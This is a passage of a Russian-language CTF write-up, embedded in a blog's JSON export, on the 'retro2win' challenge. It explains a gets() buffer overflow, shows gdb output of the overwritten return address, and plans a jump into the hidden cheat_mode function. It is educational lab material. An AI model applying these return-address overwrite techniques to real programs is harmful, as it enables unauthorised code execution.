3. Quit  Select an option: 1337 Enter your cheatcode: 123 Checking cheatcode: 123!<\/code><\/pre>\n<p>\u041d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u0447\u0438\u0442-\u043a\u043e\u0434, \u043d\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0436\u0435 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u2014 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0439\u0434\u0435\u043c \u0442\u0430\u043c \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0433\u043e.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0425\u043c, \u0437\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>buf<\/code>. \u041d\u0430 \u0441\u0442\u0440\u043e\u043a\u0435 <code>0040080c<\/code> \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u043d\u0430\u0448 \u0432\u0432\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0432 \u044d\u0442\u043e\u0442 \u0431\u0443\u0444\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>gets<\/code> . \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0438\u043f\u0430 buffer overflow. \u041b\u044e\u0431\u043e\u0439 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430 \u044d\u0442\u043e \u0436\u0430\u043b\u043e\u0432\u0430\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0441 \u043d\u0435\u0439 \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0441\u0435 \u0435\u0449\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0446\u0435\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438. <\/p>\n<h2>\u276f \u041b\u043e\u043c\u0430\u0435\u043c<\/h2>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c overflow.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ .\/retro2win  ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111! Segmentation fault (core dumped)<\/code><\/pre>\n<p>\u041d\u0430\u0434\u043e \u0436\u0435, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c Segmentation fault \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c. \u0427\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u0441\u044f \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043b\u0435\u0437\u0435\u043c \u0432 \u0434\u0435\u0431\u0430\u0433\u0435\u0440 <code>gdb<\/code> . \u0417\u0434\u0435\u0441\u044c \u044f \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0439\u043a\u043f\u043e\u0438\u043d\u0442\u043e\u0432. \u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u043f\u0440\u0438\u0432\u0435\u043b \u0435\u0435 \u0432 \u0441\u043b\u043e\u043c\u0430\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435,<code>gdb<\/code> \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b.<\/p>\n<pre><code>tkchk@laptop:~\/Downloads\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: &lt;https:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;. Find the GDB manual and other documentation resources online at:     &lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) run Starting program: \/home\/tkchk\/Downloads\/retro2win\/challenge\/retro2win  [Thread debugging using libthread_db enabled] Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\". ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!  Program received signal SIGSEGV, Segmentation fault. 0x0000000000400829 in enter_cheatcode () (gdb) x\/10xg $rsp 0x7fffffffdd58:0x31313131313131310x3131313131313131 0x7fffffffdd68:0x31313131313131310x3131313131313131 0x7fffffffdd78:0x31313131313131310x3131313131313131 0x7fffffffdd88:0x31313131313131310x3131313131313131 0x7fffffffdd98:0x31313131313131310x00007fffffff0031<\/code><\/pre>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043a. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0441\u0442\u0435\u043a \u0438 \u043a\u0430\u043a \u043e\u043d \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432\u043e <a href=\"https:\/\/habr.com\/ru\/articles\/549578\/\">\u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438<\/a> \u0446\u0438\u043a\u043b\u0430 \u0441\u0442\u0430\u0442\u0435\u0439 \u043e \u0432\u0437\u043b\u043e\u043c\u0435 \u0434\u0438\u0441\u043a\u0430 \u043e\u0442 Red Balloon Security. \u041a\u043e\u043c\u043c\u0430\u043d\u0434\u0430 <code>x\/10xg $rsp<\/code> \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u043d\u0430\u043c \u0434\u0435\u0441\u044f\u0442\u044c 64-\u0431\u0438\u0442\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0441 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 <code>rsp<\/code> \u2014 \u044d\u0442\u043e \u043d\u0430\u0448 stack pointer. \u0418 \u0447\u0442\u043e \u0436\u0435 \u044f \u0437\u0434\u0435\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u043b? \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f <code>buf<\/code> \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0438 \u043c\u043e\u0438 \u0435\u0434\u0438\u043d\u0438\u0447\u043a\u0438 (\u0432 hex \u0432\u0438\u0434\u0435) \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u044d\u0448\u043d\u0443\u043b\u0438 \u0441\u043e\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430. \u041d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439: \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u0435 <code>rbp<\/code> \u0438, \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432. \u041d\u0430\u0448\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043a\u0440\u0430\u0448\u043d\u0443\u043b\u0430\u0441\u044c \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u0410\u0434\u0440\u0435\u0441 <code>0x3131313131313131<\/code> \u0432\u0435\u0434\u0435\u0442 \u043a\u0443\u0434\u0430-\u0442\u043e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041e\u0442 \u0441\u044e\u0434\u0430 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438.  \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0432 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0437\u0430\u0440\u0443\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0430\u0434\u0440\u0435\u0441. \u041d\u043e \u043a\u0430\u043a\u043e\u0439?<\/p>\n<h2>\u276f \u0427\u0438\u0442\u0435\u0440\u0438\u043c<\/h2>\n<p>\u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>cheat_mode<\/code> . \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u2014 \u043a \u043d\u0435\u0439 \u043d\u0438\u043a\u0430\u043a \u043d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u0441\u044f. \u041d\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u0437 <code>main<\/code>, \u043d\u0438 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u044f \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. \u0412 \u043d\u0435\u0439 \u043c\u044b \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u041d\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0430 \u0437\u0430\u0433\u0432\u043e\u0437\u0434\u043a\u0430 \u2014 \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 2\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c <code>0x2323232323232323<\/code> , \u0430 \u0432\u0442\u043e\u0440\u043e\u0433\u043e <code>0x4242424242424242<\/code> . \u042d\u0442\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u043d\u0430\u0448\u0443 \u0437\u0430\u0434\u0430\u0447\u0443 \u2014 \u043c\u0430\u043b\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u043f\u0440\u0438\u0439\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0442\u0430\u043a \u043c\u044b \u0435\u0449\u0435 \u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u0442\u044c.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u044f \u0437\u043d\u0430\u0442\u043d\u043e \u0442\u0430\u043a \u043e\u0444\u0438\u0433\u0435\u043b. \u0421\u0440\u0430\u0437\u0443 \u0432 \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u0440\u043e\u043c\u0435\u043b\u044c\u043a\u043d\u0443\u043b\u0430 \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431 \u043e\u043d \u043e\u0431\u043e\u0448\u0435\u043b \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0447\u0430\u043b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0438 <code>CHEAT MODE ACTIVATED!<\/code> ? \u042f \u0432\u0437\u044f\u043b\u0441\u044f \u0437\u0430 \u044d\u0442\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443. <\/p>\n<p>\u041d\u0430\u0448\u0430 <code>cheat_mode<\/code> \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>0x00400736<\/code> . \u0418 \u044d\u0442\u043e, \u0431\u043b\u0438\u043d, \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u043d\u0435 \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441! \u0418\u0437-\u0437\u0430 07 \u0438 null-\u0431\u0430\u0439\u0442\u043e\u0432 \u0432 \u044d\u0442\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435 \u043c\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0445. \u0412\u0441\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 python. <\/p>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u0430, \u0433\u0434\u0435 \u043c\u044b \u043e\u0431\u043e\u0439\u0434\u0435\u043c \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 <code>0x0040076a<\/code> .<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0443. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>gets<\/code> \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u0440\u0430\u0431\u043e\u0447\u0430\u044f, \u0438 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043a\u0443\u0441\u043e\u0447\u0435\u043a \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u0441\u0442\u0435\u043a \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u043c\u044b \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043c.<\/p>\n<p>\u0414\u043b\u044f \u0440\u0430\u0441\u0441\u0447\u0435\u0442\u043e\u0432 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0439\u0442\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0442-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442 \u0431\u0443\u0444\u0435\u0440. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>enter_cheatcode<\/code> \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>0x0000000000400827<\/code> \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f <code>nop<\/code> \u2014 \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u041d\u0430 \u043d\u0435\u0439 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c breakpoint.<\/p>\n<pre><code>tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: &lt;https:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;. Find the GDB manual and other documentation resources online at:     &lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) disass enter_cheatcode Dump of assembler code for function enter_cheatcode:    0x00000000004007ee &lt;+0&gt;:push   rbp    0x00000000004007ef &lt;+1&gt;:mov    rbp,rsp    0x00000000004007f2 &lt;+4&gt;:sub    rsp,0x10<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-443186","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/443186","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=443186"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/443186\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=443186"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=443186"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=443186"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}